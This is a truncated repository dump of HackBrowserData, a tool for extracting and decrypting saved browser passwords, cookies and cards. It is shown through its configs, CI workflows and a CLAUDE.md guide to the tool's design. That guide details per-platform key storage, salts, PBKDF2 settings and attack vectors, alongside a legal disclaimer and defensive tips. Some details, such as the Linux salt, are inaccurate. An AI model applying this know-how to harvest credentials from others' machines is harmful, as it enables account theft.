Showing preview only (239K chars total). Download the full file or copy to clipboard to get everything.
Repository: moonD4rk/HackBrowserData
Branch: main
Commit: 239501535a2e
Files: 73
Total size: 221.8 KB
Directory structure:
gitextract_fqj4wsxy/
├── .github/
│ ├── ISSUE_TEMPLATE/
│ │ ├── bug_report.md
│ │ └── feature_request.md
│ ├── PULL_REQUEST_TEMPLATE.md
│ ├── dependabot.yml
│ ├── release-drafter.yml
│ └── workflows/
│ ├── build.yml
│ ├── contributors.yml
│ ├── lint.yml
│ ├── release.yml
│ └── test.yml
├── .gitignore
├── .golangci.yml
├── .goreleaser.yml
├── .typos.toml
├── CLAUDE.md
├── CODE_OF_CONDUCT.md
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── browser/
│ ├── browser.go
│ ├── browser_darwin.go
│ ├── browser_linux.go
│ ├── browser_windows.go
│ ├── chromium/
│ │ ├── chromium.go
│ │ ├── chromium_darwin.go
│ │ ├── chromium_linux.go
│ │ └── chromium_windows.go
│ ├── consts.go
│ ├── exploit/
│ │ └── gcoredump/
│ │ └── gcoredump.go
│ └── firefox/
│ ├── firefox.go
│ └── firefox_test.go
├── browserdata/
│ ├── bookmark/
│ │ └── bookmark.go
│ ├── browserdata.go
│ ├── cookie/
│ │ └── cookie.go
│ ├── creditcard/
│ │ └── creditcard.go
│ ├── download/
│ │ └── download.go
│ ├── extension/
│ │ └── extension.go
│ ├── history/
│ │ └── history.go
│ ├── imports.go
│ ├── localstorage/
│ │ ├── localstorage.go
│ │ └── localstorage_test.go
│ ├── outputter.go
│ ├── outputter_test.go
│ ├── password/
│ │ └── password.go
│ └── sessionstorage/
│ └── sessionstorage.go
├── cmd/
│ └── hack-browser-data/
│ └── main.go
├── crypto/
│ ├── asn1pbe.go
│ ├── asn1pbe_test.go
│ ├── crypto.go
│ ├── crypto_darwin.go
│ ├── crypto_linux.go
│ ├── crypto_test.go
│ ├── crypto_windows.go
│ └── pbkdf2.go
├── extractor/
│ ├── extractor.go
│ └── registration.go
├── go.mod
├── go.sum
├── log/
│ ├── level/
│ │ └── level.go
│ ├── log.go
│ ├── logger.go
│ └── logger_test.go
├── rfc/
│ └── 001-architecture-refactoring.md
├── types/
│ ├── types.go
│ └── types_test.go
└── utils/
├── byteutil/
│ └── byteutil.go
├── chainbreaker/
│ ├── chainbreaker.go
│ ├── chainbreaker_test.go
│ └── testdata/
│ └── test.keychain-db
├── fileutil/
│ ├── filetutil.go
│ └── fileutil_test.go
└── typeutil/
├── typeutil.go
└── typeutil_test.go
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/ISSUE_TEMPLATE/bug_report.md
================================================
---
name: Bug report
about: Create a report to help us improve
title: ''
labels: bug
assignees: ''
---
## Describe the bug
A clear and concise description of what the bug is.
## Log Output
Please attach or paste the relevant log output. Use `./hack-browser-data -vv` and paste result here.
## Expected vs Actual Behavior
Describe what you expected to happen and what actually happened.
## Desktop (please complete the following information):
Select the operating system(s) you are using:
- [ ] Windows
- [ ] macOS
- [ ] Linux
- OS Version: [e.g. windows 10, macos 10.15.7, ubuntu 20.04]
- OS Architecture: [e.g. 32-bit, 64-bit]
- Browser Name: [e.g. chrome, firefox]
- Browser Version: [e.g. 86.0.4240.111, 82.0.3]
## Additional Details
- [ ] I ran `hack-browser-data` with administrator/root privileges.
## Checklist
- [ ] I have checked the [existing issues](https://github.com/moonD4rk/HackBrowserData/issues) for similar problems.
## Screenshots/Videos
If applicable, add screenshots or videos to help explain your problem.
## Additional context
Add any other context about the problem here.
================================================
FILE: .github/ISSUE_TEMPLATE/feature_request.md
================================================
---
name: Feature Request
about: Suggest an idea for this project
title: ''
labels: enhancement
assignees: ''
---
## Feature Description
A clear and concise description of what the feature is.
## Why is this feature needed?
A clear and concise description of why this feature is needed.
## Checklist
- [ ] I have checked the [existing issues](https://github.com/moonD4rk/HackBrowserData/issues) for similar problems.
## Screenshots/Videos
If applicable, add screenshots or videos to help explain your proposal.
## Additional Context
Add any other context or screenshots about the feature request here.
================================================
FILE: .github/PULL_REQUEST_TEMPLATE.md
================================================
## Proposed changes
<!-- Describe the overall picture of your modifications to help maintainers understand the pull request. PRs are required to be associated to their related issue tickets or feature request. -->
## Checklist
<!-- Put an "x" in the boxes that apply. You can also fill these out after creating the PR. If you're unsure about any of them, don't hesitate to ask. We're here to help! This is simply a reminder of what we are going to look for before merging your code. -->
- [ ] Pull request is created against the [dev](https://github.com/moonD4rk/HackBrowserData/tree/dev) branch
- [ ] All checks passed (lint, unit, build tests etc.) with my changes
- [ ] I have added tests that prove my fix is effective or that my feature works
- [ ] I have added necessary documentation (if appropriate)
================================================
FILE: .github/dependabot.yml
================================================
version: 2
updates:
- package-ecosystem: "gomod"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 10
target-branch: dev
# ignore:
# - dependency-name: "example-package"
# versions: ["2.x.x"]
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "monthly"
open-pull-requests-limit: 5
target-branch: dev
================================================
FILE: .github/release-drafter.yml
================================================
name-template: 'hack-browser-data-$RESOLVED_VERSION'
tag-template: 'v$RESOLVED_VERSION'
categories:
- title: '🚀 Features'
labels:
- 'feature'
- 'enhancement'
- title: '🐛 Bug Fixes'
labels:
- 'fix'
- 'bugfix'
- 'bug'
- title: '🧰 Maintenance'
label: 'chore'
- title: '📖 Document'
label: 'doc'
change-template: '- $TITLE @$AUTHOR (#$NUMBER)'
version-resolver:
major:
labels:
- 'major'
minor:
labels:
- 'minor'
patch:
labels:
- 'patch'
default: patch
template: |
## Changes
$CHANGES
================================================
FILE: .github/workflows/build.yml
================================================
name: Build
on:
push:
branches:
- main
pull_request:
workflow_dispatch:
jobs:
build:
name: Build on ${{ matrix.os }}
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
goVer: ["1.20.x"]
steps:
- name: Check out code into the Go module directory
uses: actions/checkout@v4
- name: Set up Go ${{ matrix.goVer }}
uses: actions/setup-go@v5
with:
go-version: ${{ matrix.goVer }}
cache: false
id: go
- name: cache go modules
uses: actions/cache@v4
with:
path: |
~/go/pkg/mod
~/.cache/go-build
key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}
restore-keys: |
${{ runner.os }}-go-
- name: Format Check
if: matrix.os != 'windows-latest'
run: |
diff -u <(echo -n) <(gofmt -d .)
- name: Get dependencies
run: |
go mod tidy
go mod download
- name: Build
run: go build -v ./...
================================================
FILE: .github/workflows/contributors.yml
================================================
name: Contributors
on:
schedule:
- cron: '0 1 * * 0' # At 01:00 on Sunday.
push:
branches:
- main
workflow_dispatch:
inputs:
logLevel:
description: 'manual run'
required: false
default: ''
jobs:
contributors:
runs-on: ubuntu-latest
steps:
- uses: bubkoo/contributors-list@v1
with:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
round: true
================================================
FILE: .github/workflows/lint.yml
================================================
name: Lint
on:
push:
branches:
- main
pull_request:
workflow_dispatch:
jobs:
lint:
name: Lint
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Set Golang
uses: actions/setup-go@v5
with:
go-version: "1.20.x"
cache: false
- name: Check spelling with custom config file
uses: crate-ci/typos@master
with:
config: ./.typos.toml
- name: Get dependencies
run: |
go mod tidy
go mod download
- name: Lint
uses: golangci/golangci-lint-action@v8
with:
version: v2.4.0
================================================
FILE: .github/workflows/release.yml
================================================
name: Release
on:
workflow_dispatch:
permissions:
contents: write
pull-requests: write
jobs:
goreleaser:
runs-on: ubuntu-latest
steps:
- name: Set up Go
uses: actions/setup-go@v5
with:
go-version: '1.20.x'
- name: Check out code
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Run GoReleaser
uses: goreleaser/goreleaser-action@v6
with:
version: '~> v2'
args: release --clean --draft
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
update_release_draft:
needs: goreleaser
runs-on: ubuntu-latest
steps:
- uses: release-drafter/release-drafter@v6
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
================================================
FILE: .github/workflows/test.yml
================================================
name: Tests
on:
pull_request:
push:
branches:
- main
- dev
workflow_dispatch:
jobs:
test:
strategy:
matrix:
go-version: [ "1.20.x" ]
platform: [ubuntu-latest]
runs-on: ${{ matrix.platform }}
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Install Go
if: success()
uses: actions/setup-go@v5
with:
go-version: ${{ matrix.go-version }}
- name: Run tests
run: go test -v ./... -covermode=count
coverage:
runs-on: ubuntu-latest
steps:
- name: Install Go
if: success()
uses: actions/setup-go@v5
with:
go-version: "1.20.x"
- name: Checkout code
uses: actions/checkout@v4
- name: Calc coverage
run: |
go test -v ./... -covermode=count -coverprofile=coverage.out
- name: Convert coverage.out to coverage.lcov
uses: jandelgado/gcov2lcov-action@v1
- name: Coveralls
uses: coverallsapp/github-action@v2
with:
github-token: ${{ secrets.github_token }}
path-to-lcov: coverage.lcov
================================================
FILE: .gitignore
================================================
# General
.DS_Store
.AppleDouble
.LSOverride
# Icon must end with two \r
Icon
# Thumbnails
._*
# Files that might appear in the root of a volume
.DocumentRevisions-V100
.fseventsd
.Spotlight-V100
.TemporaryItems
.Trashes
.VolumeIcon.icns
.com.apple.timemachine.donotpresent
# Directories potentially created on remote AFP share
.AppleDB
.AppleDesktop
Network Trash Folder
Temporary Items
.apdisk
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib64/
parts/
sdist/
var/
wheels/
pip-wheel-metadata/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
db.sqlite3-journal
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
.python-version
# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock
# PEP 582; used by e.g. github.com/David-OConnor/pyflow
__pypackages__/
# Celery stuff
celerybeat-schedule
celerybeat.pid
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
# idea
.idea/
.idea
# windows
*.exe
# macOS
# binary
cmd/agent
cmd/server
# bin
# file
*.csv
*.xlsx
*.txt
# config file
config.toml
*.json
Bookmarks
Login Data
Cookies
History
*.db
*.sqlite
*.sqlite-shm
*.sqlite-wal
#Chromium*
#Firefox*
result/
results/
hack-browser-data
!/cmd/hack-browser-data
!/browserdata/history
!/browserdata/history/history.go
!/browserdata/history/history_test.go
# github action
!/.github/workflows/unittest.yml
!/.github/ISSUE_TEMPLATE/*.md
!/.github/*.md
# Community
!CONTRIBUTING.md
# CICD Config
!.typos.toml
!.github/*.yml
!log/
examples/*.go
================================================
FILE: .golangci.yml
================================================
# golangci-lint configuration
# Compatible with golangci-lint v2.4+ and Go 1.20
# This is a best practice starter configuration that can be gradually enhanced
version: "2"
run:
# Go version - fixed to 1.20
go: "1.20"
# Timeout setting
timeout: "5m"
# Allow parallel runners
allow-parallel-runners: true
# Module download mode
modules-download-mode: "mod"
# Code formatters configuration
formatters:
enable:
- gofmt # Go official formatter
- goimports # Automatic import management
- gci # Import grouping and sorting
settings:
gofmt:
# Simplify code
simplify: true
goimports:
# Local package prefix (must be array in v2)
local-prefixes:
- github.com/moond4rk/hackbrowserdata
gci:
# Import section order
sections:
- standard # Standard library
- default # Third-party libraries
- prefix(github.com/moond4rk/hackbrowserdata) # Local packages
# Linter configuration
linters:
# Use standard linters as base
default: standard
# Additional enabled linters (best practices recommended)
enable:
# Error checking
- errcheck # Check unhandled errors
- errorlint # Improve error handling
# Code quality
- ineffassign # Detect ineffective assignments
- revive # Code quality checks
- misspell # Spell checking
- unconvert # Detect unnecessary type conversions
# Security related
- gosec # Security vulnerability checks
# Performance related
- prealloc # Slice preallocation optimization
# Code standards
- whitespace # Whitespace checks
# Best practices
- gocritic # Comprehensive code analysis
- goprintffuncname # Printf function naming checks
# Dependency management
- depguard # Package dependency control
- gomodguard # Go module dependency control
# Code complexity (optional for initial setup)
- funlen # Function length checks
- goconst # Magic number checks
# Explicitly disabled linters (to avoid false positives and noise)
disable:
- exhaustruct # Struct field completeness check (too strict)
- wrapcheck # Error wrapping check (project specific)
- testpackage # Test package separation (not conventional)
- paralleltest # Parallel test check (not always needed)
- nlreturn # Newline before return (too strict)
- wsl # Whitespace rules (too strict)
- gochecknoglobals # No global variables (sometimes needed)
- gochecknoinits # No init functions (sometimes needed)
- exhaustive # Enum completeness (too strict initially)
- unused # Temporarily disabled for gradual cleanup
# Exclusion configuration
exclusions:
# Paths to exclude
paths:
- vendor
- third_party
- testdata
- ".*\\.pb\\.go$"
- ".*\\.gen\\.go$"
# Use default exclusion presets
presets:
- comments
- common-false-positives
- legacy
- std-error-handling
# Exclusion rules
rules:
# Test file exclusions
- path: '_test\.go'
linters:
- dupl
- funlen
- goconst
- gosec
- errcheck
# Generated file exclusions
- path: '\.pb\.go$'
linters:
- all
# Vendor directory exclusions
- path: "vendor"
linters:
- all
# Defer statement exclusions
- source: "defer"
linters:
- errcheck
# SQL query exclusions
- text: "SELECT"
linters:
- gosec
# Package comment exclusions
- text: "should have a package comment"
linters:
- staticcheck
- revive
# Types package exclusions
- path: "types/types.go"
linters:
- revive
# Unused code exclusions (temporary)
- text: "is unused"
linters:
- unused
- staticcheck
# Linter specific settings
settings:
# Error check settings
errcheck:
# Check type assertion errors
check-type-assertions: true
# Don't check blank identifier
check-blank: false
# Excluded functions - expanded list to reduce noise
exclude-functions:
- "os.Remove"
- "os.RemoveAll"
- "io.Copy(os.Stdout)"
- "(*database/sql.DB).Close"
- "(*database/sql.Rows).Close"
- "(*github.com/syndtr/goleveldb/leveldb.DB).Close"
- "defer"
- "(net/http.ResponseWriter).Write"
# Security check settings
gosec:
# Excluded rules (adjust based on project needs)
excludes:
- G101 # Hardcoded credentials - too many false positives
- G104 # Error checking (handled by errcheck)
- G304 # File path traversal (needed for project features)
- G306 # Poor file permissions (test files)
- G401 # Weak cryptographic algorithm (needed for compatibility)
- G405 # Weak cryptographic algorithm
- G501 # Import crypto/md5 (needed for compatibility)
- G502 # Import crypto/des (needed for compatibility)
- G505 # Import crypto/sha1 (needed for compatibility)
# Go vet settings
govet:
enable-all: true
disable:
- fieldalignment # Field alignment optimization (premature optimization)
- shadow # Variable shadowing (sometimes intentional)
# Static check settings
staticcheck:
# Check all except the ones we exclude
checks:
[
"all",
"-ST1000",
"-ST1003",
"-ST1016",
"-ST1020",
"-ST1021",
"-ST1022",
]
# Revive settings
revive:
severity: warning
rules:
- name: unused-parameter
disabled: true # Interface implementations may not use all parameters
- name: var-naming
disabled: true # Too many false positives with types package
- name: package-comments
disabled: true # Package comments are not mandatory
- name: exported
disabled: true # Not all exported types need comments initially
# Function length settings
funlen:
lines: 150 # Increased for existing code
statements: 80 # Increased for existing code
ignore-comments: true
# Code critic settings
gocritic:
enabled-tags:
- diagnostic
- performance
disabled-checks:
- hugeParam # Large value parameters (sometimes needed)
- rangeValCopy # Range value copy (minimal performance impact)
- commentedOutCode # Allow commented code for now
- ifElseChain # Allow if-else chains
settings:
rangeExprCopy:
sizeThreshold: 512
# Dependency guard settings
depguard:
rules:
main:
files:
- $all
deny:
- pkg: "github.com/pkg/errors"
desc: "Use standard library errors package instead"
- pkg: "io/ioutil"
desc: "io/ioutil is deprecated, use io or os package"
# Spell check settings
misspell:
locale: US
ignore-rules:
- behaviour # British spelling
# goconst settings - make it less aggressive
goconst:
min-len: 5 # Minimum length of string constant
min-occurrences: 5 # Increased from default 3
# Output configuration
output:
# Output format - use text format with colors
formats:
text:
path: stdout
colors: true
================================================
FILE: .goreleaser.yml
================================================
version: 2
before:
hooks:
- go mod tidy
builds:
- id: "hack-browser-data"
main: ./cmd/hack-browser-data/main.go
binary: hack-browser-data
env:
- CGO_ENABLED=0
goos: [windows, linux, darwin]
goarch: [amd64, "386", arm, arm64]
ignore:
- goos: darwin
goarch: "386"
- goos: windows
goarch: "386"
- goos: windows
goarch: arm
flags:
- -trimpath
ldflags:
- -s -w
archives:
- id: "archive"
format: zip
builds: ["hack-browser-data"]
name_template: >-
hack-browser-data-
{{- if eq .Os "darwin" }}osx
{{- else if eq .Os "linux" }}linux
{{- else if eq .Os "windows" }}windows
{{- else }}{{ .Os }}{{ end }}-
{{- if eq .Arch "amd64" }}64bit
{{- else if eq .Arch "386" }}32bit
{{- else if eq .Arch "arm64" }}arm64
{{- else if eq .Arch "arm" }}arm
{{- else }}{{ .Arch }}{{ end }}
changelog:
sort: asc
filters:
exclude:
- "^docs:"
- "^test:"
- "^chore\\(deps\\):"
- "merge conflict"
- Merge pull request
- Merge remote-tracking branch
- Merge branch
- go mod tidy
checksum:
name_template: "checksums-v{{ .Version }}.txt"
algorithm: sha256
release:
prerelease: auto
================================================
FILE: .typos.toml
================================================
# See https://github.com/crate-ci/typos/blob/master/docs/reference.md to configure typos
[default.extend-words]
Readed = "Readed"
Sie = "Sie"
OT = "OT"
Encrypter = "Encrypter"
Decrypter = "Decrypter"
[files]
extend-exclude = ["go.mod", "go.sum"]
================================================
FILE: CLAUDE.md
================================================
# CLAUDE.md
This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.
## ⚠️ CRITICAL SECURITY AND LEGAL NOTICE
**THIS PROJECT IS STRICTLY FOR SECURITY RESEARCH AND DEFENSIVE PURPOSES ONLY**
- This tool is ONLY intended for legitimate security research, authorized audits, and defensive security operations
- ANY use of this project for unauthorized access, data theft, or malicious purposes is STRICTLY PROHIBITED and may violate computer fraud and abuse laws
- Users are SOLELY responsible for ensuring compliance with all applicable laws and regulations in their jurisdiction
- The original author and contributors assume NO legal responsibility for misuse of this tool
- You MUST have explicit authorization before using this tool on any system you do not own
- This tool should NEVER be used for attacking, credential harvesting, or any malicious intent
- All security research must be conducted ethically and within legal boundaries
## Project Overview
HackBrowserData is a command-line security research tool for extracting and decrypting browser data across multiple platforms (Windows, macOS, Linux). It supports data extraction from Chromium-based browsers (Chrome, Edge, Brave, etc.) and Firefox.
**Legitimate Use Cases**:
- Personal data backup and recovery
- Authorized enterprise security audits
- Digital forensics investigations (with proper authorization)
- Security vulnerability research and defense improvement
- Understanding browser security mechanisms for defensive purposes
## Development Commands
### Build the Project
```bash
# Build for current platform
cd cmd/hack-browser-data
go build
# Cross-compile for Windows from macOS/Linux
GOOS=windows GOARCH=amd64 go build
# Cross-compile for Linux from macOS/Windows
GOOS=linux GOARCH=amd64 go build
# Cross-compile for macOS from Linux/Windows
GOOS=darwin GOARCH=amd64 go build
```
### Testing
```bash
# Run all tests
go test -v ./...
# Run tests with coverage
go test -v ./... -covermode=count -coverprofile=coverage.out
# Run specific package tests
go test -v ./browser/chromium/...
go test -v ./crypto/...
```
### Code Quality
```bash
# Format check
gofmt -d .
# Run linter (requires golangci-lint)
golangci-lint run
# Check spelling
typos
# Tidy dependencies
go mod tidy
```
## Architecture Overview
### Core Components
**Browser Abstraction Layer** (`browser/`)
- Interface-based design allowing easy addition of new browsers
- Platform-specific implementations using build tags (`_darwin.go`, `_windows.go`, `_linux.go`)
- Automatic profile discovery and multi-profile support
**Data Extraction Pipeline**
1. **Profile Discovery**: `profile/finder.go` locates browser profiles
2. **File Management**: `filemanager/` handles secure copying of browser files
3. **Decryption**: `crypto/` provides platform-specific decryption
- Windows: DPAPI via Windows API
- macOS: Keychain access (requires user password)
- Linux: PBKDF2 key derivation
4. **Data Processing**: `browserdata/` parses and structures extracted data
5. **Output**: `browserdata/outputter.go` exports to CSV/JSON
**Key Interfaces**
- `Browser`: Main interface for browser implementations
- `DataType`: Enum for different data types (passwords, cookies, etc.)
- `BrowserData`: Container for all extracted browser data
### Platform-Specific Considerations
**macOS**
- Requires user password for Keychain access to decrypt Chrome passwords
- Uses Security framework for keychain operations
- Profile paths: `~/Library/Application Support/[Browser]/`
**Windows**
- Uses DPAPI for decryption (no password required)
- Accesses Local State file for encryption keys
- Profile paths: `%LOCALAPPDATA%/[Browser]/User Data/`
**Linux**
- Uses PBKDF2 with "peanuts" as salt
- Requires gnome-keyring or kwallet access
- Profile paths: `~/.config/[Browser]/`
### Security Mechanisms
**Data Protection**
- Temporary file cleanup after extraction
- No persistent storage of decrypted master keys
- Secure memory handling for sensitive data
**File Operations**
- Copy-on-read to avoid modifying original browser files
- Lock file filtering to prevent conflicts
- Atomic operations where possible
## Adding New Browser Support
1. Create browser-specific package in `browser/[name]/`
2. Implement the `Browser` interface
3. Add platform-specific profile paths in `browser/consts.go`
4. Register in `browser/browser.go` picker functions
5. Add data type mappings in `types/types.go`
## Important Files and Their Roles
- `cmd/hack-browser-data/main.go`: CLI entry point and flag handling
- `browser/chromium/chromium.go`: Core Chromium implementation
- `crypto/crypto_[platform].go`: Platform-specific decryption
- `extractor/extractor.go`: Main extraction orchestration
- `profile/finder.go`: Browser profile discovery logic
- `browserdata/password/password.go`: Password parsing and decryption
## Testing Considerations
- Tests use mocked data to avoid requiring actual browser installations
- Platform-specific tests are isolated with build tags
- Sensitive operations (like keychain access) are mocked in tests
- Use `DATA-DOG/go-sqlmock` for database operation testing
## Browser Security Analysis
### Chromium-Based Browsers Security
**Encryption Methods**:
- **Chrome v80+**: AES-256-GCM encryption for sensitive data
- **Pre-v80**: AES-128-CBC with PKCS#5 padding
- **Master Key Storage**:
- Windows: Encrypted with DPAPI in `Local State` file
- macOS: Stored in system Keychain (requires user password)
- Linux: Derived using PBKDF2 with "peanuts" salt
**Data Protection Layers**:
1. **Password Storage**: Encrypted in SQLite database (`Login Data`)
2. **Cookie Encryption**: Encrypted values in `Cookies` database
3. **Credit Card Data**: Encrypted with same master key as passwords
4. **Local Storage**: Stored in LevelDB format, some values encrypted
### Firefox Security
**Encryption Architecture**:
- **Master Password**: Optional user-defined password for additional protection
- **Key Database**: `key4.db` stores encrypted master keys
- **NSS Library**: Network Security Services for cryptographic operations
- **Profile Encryption**: Each profile has independent encryption keys
**Key Derivation**:
- Uses PKCS#5 PBKDF2 for key derivation
- Triple-DES (3DES) for legacy compatibility
- AES-256-CBC for modern encryption
- ASN.1 encoding for key storage
### Platform-Specific Security Mechanisms
**Windows DPAPI (Data Protection API)**:
- User-specific encryption tied to Windows login
- No additional password required for decryption
- Keys protected by Windows security subsystem
- Vulnerable if attacker has user-level access
**macOS Keychain Services**:
- Requires user password for access
- Integration with system security framework
- Protected by System Integrity Protection (SIP)
- Security command-line tool for programmatic access
**Linux Secret Service**:
- GNOME Keyring or KDE Wallet integration
- D-Bus communication for key retrieval
- User session-based protection
- Fallback to PBKDF2 if keyring unavailable
### Security Vulnerabilities and Mitigations
**Known Attack Vectors**:
1. **Physical Access**: Direct file system access to browser profiles
2. **Memory Dumps**: Extraction of decrypted data from RAM
3. **Malware**: Keyloggers and info-stealers targeting browsers
4. **Process Injection**: DLL injection to extract decrypted data
**Defensive Recommendations**:
1. **Enable Master Password**: Firefox users should set master password
2. **Use OS-Level Encryption**: FileVault (macOS), BitLocker (Windows), LUKS (Linux)
3. **Regular Updates**: Keep browsers updated for latest security patches
4. **Profile Isolation**: Use separate profiles for sensitive activities
5. **Hardware Keys**: Use FIDO2/WebAuthn for critical accounts
### Cryptographic Implementation Details
**AES-GCM (Galois/Counter Mode)**:
- Authenticated encryption with associated data (AEAD)
- 96-bit nonce/IV for randomization
- 128-bit authentication tag for integrity
- Used in Chrome v80+ for enhanced security
**PBKDF2 (Password-Based Key Derivation Function 2)**:
- Iterations: 1003 (macOS), 1 (Linux default)
- Hash function: SHA-1 (legacy) or SHA-256
- Salt: "saltysalt" (Chrome), "peanuts" (Linux)
- Output: 128-bit or 256-bit keys
**DPAPI Internals**:
- Uses CryptProtectData/CryptUnprotectData Windows APIs
- Machine-specific or user-specific encryption
- Automatic key management by Windows
- Integrates with Windows credential manager
## Dependencies
- `modernc.org/sqlite`: Pure Go SQLite for cross-platform compatibility
- `github.com/godbus/dbus`: Linux keyring access
- `github.com/ppacher/go-dbus-keyring`: Secret service integration
- `github.com/tidwall/gjson`: JSON parsing for browser preferences
- `github.com/syndtr/goleveldb`: LevelDB for IndexedDB/LocalStorage
## Ethical Usage Guidelines
### Responsible Disclosure
- Report vulnerabilities to browser vendors through official channels
- Allow reasonable time for patches before public disclosure
- Never exploit vulnerabilities for personal gain
### Legal Compliance
- Obtain written authorization before testing third-party systems
- Comply with GDPR, CCPA, and other privacy regulations
- Respect intellectual property and terms of service
- Maintain audit logs of all security testing activities
### Best Practices for Security Researchers
1. **Scope Definition**: Clearly define testing boundaries
2. **Data Handling**: Securely delete any extracted sensitive data
3. **Documentation**: Maintain detailed records of methodologies
4. **Collaboration**: Work with security community ethically
5. **Education**: Share knowledge to improve overall security
================================================
FILE: CODE_OF_CONDUCT.md
================================================
# Contributor Covenant Code of Conduct
## Our Pledge
We as members, contributors, and leaders pledge to make participation in our
community a harassment-free experience for everyone, regardless of age, body
size, visible or invisible disability, ethnicity, sex characteristics, gender
identity and expression, level of experience, education, socio-economic status,
nationality, personal appearance, race, religion, or sexual identity
and orientation.
We pledge to act and interact in ways that contribute to an open, welcoming,
diverse, inclusive, and healthy community.
## Our Standards
Examples of behavior that contributes to a positive environment for our
community include:
* Demonstrating empathy and kindness toward other people
* Being respectful of differing opinions, viewpoints, and experiences
* Giving and gracefully accepting constructive feedback
* Accepting responsibility and apologizing to those affected by our mistakes,
and learning from the experience
* Focusing on what is best not just for us as individuals, but for the
overall community
Examples of unacceptable behavior include:
* The use of sexualized language or imagery, and sexual attention or
advances of any kind
* Trolling, insulting or derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or email
address, without their explicit permission
* Other conduct which could reasonably be considered inappropriate in a
professional setting
## Enforcement Responsibilities
Community leaders are responsible for clarifying and enforcing our standards of
acceptable behavior and will take appropriate and fair corrective action in
response to any behavior that they deem inappropriate, threatening, offensive,
or harmful.
Community leaders have the right and responsibility to remove, edit, or reject
comments, commits, code, wiki edits, issues, and other contributions that are
not aligned to this Code of Conduct, and will communicate reasons for moderation
decisions when appropriate.
## Scope
This Code of Conduct applies within all community spaces, and also applies when
an individual is officially representing the community in public spaces.
Examples of representing our community include using an official e-mail address,
posting via an official social media account, or acting as an appointed
representative at an online or offline event.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported to the community leaders responsible for enforcement at
.
All complaints will be reviewed and investigated promptly and fairly.
All community leaders are obligated to respect the privacy and security of the
reporter of any incident.
## Enforcement Guidelines
Community leaders will follow these Community Impact Guidelines in determining
the consequences for any action they deem in violation of this Code of Conduct:
### 1. Correction
**Community Impact**: Use of inappropriate language or other behavior deemed
unprofessional or unwelcome in the community.
**Consequence**: A private, written warning from community leaders, providing
clarity around the nature of the violation and an explanation of why the
behavior was inappropriate. A public apology may be requested.
### 2. Warning
**Community Impact**: A violation through a single incident or series
of actions.
**Consequence**: A warning with consequences for continued behavior. No
interaction with the people involved, including unsolicited interaction with
those enforcing the Code of Conduct, for a specified period of time. This
includes avoiding interactions in community spaces as well as external channels
like social media. Violating these terms may lead to a temporary or
permanent ban.
### 3. Temporary Ban
**Community Impact**: A serious violation of community standards, including
sustained inappropriate behavior.
**Consequence**: A temporary ban from any sort of interaction or public
communication with the community for a specified period of time. No public or
private interaction with the people involved, including unsolicited interaction
with those enforcing the Code of Conduct, is allowed during this period.
Violating these terms may lead to a permanent ban.
### 4. Permanent Ban
**Community Impact**: Demonstrating a pattern of violation of community
standards, including sustained inappropriate behavior, harassment of an
individual, or aggression toward or disparagement of classes of individuals.
**Consequence**: A permanent ban from any sort of public interaction within
the community.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
version 2.0, available at
https://www.contributor-covenant.org/version/2/0/code_of_conduct.html.
Community Impact Guidelines were inspired by [Mozilla's code of conduct
enforcement ladder](https://github.com/mozilla/diversity).
[homepage]: https://www.contributor-covenant.org
For answers to common questions about this code of conduct, see the FAQ at
https://www.contributor-covenant.org/faq. Translations are available at
https://www.contributor-covenant.org/translations.
================================================
FILE: CONTRIBUTING.md
================================================
# Contributing to HackBrowserData
We appreciate your interest in contributing to the HackBrowserData! This document provides some basic guidelines for contributors.
## Getting Started
- Always base your work from the `dev` branch, which is the development branch with the latest code.
- Before creating a Pull Request (PR), make sure there is a corresponding issue for your contribution. If there isn't one already, please create one.
- Include the problem description in the issue.
## Pull Requests
When creating a PR, please follow these guidelines:
- Link your PR to the corresponding issue.
- Provide context in the PR description to help reviewers understand the changes. The more information you provide, the faster the review process will be.
- Include an example of running the tool with the changed code, if applicable. Provide 'before' and 'after' examples if possible.
- Include steps for functional testing or replication.
- If you're adding a new feature, make sure to include unit tests.
## Code Style
Please adhere to the existing coding style for consistency.
## Questions
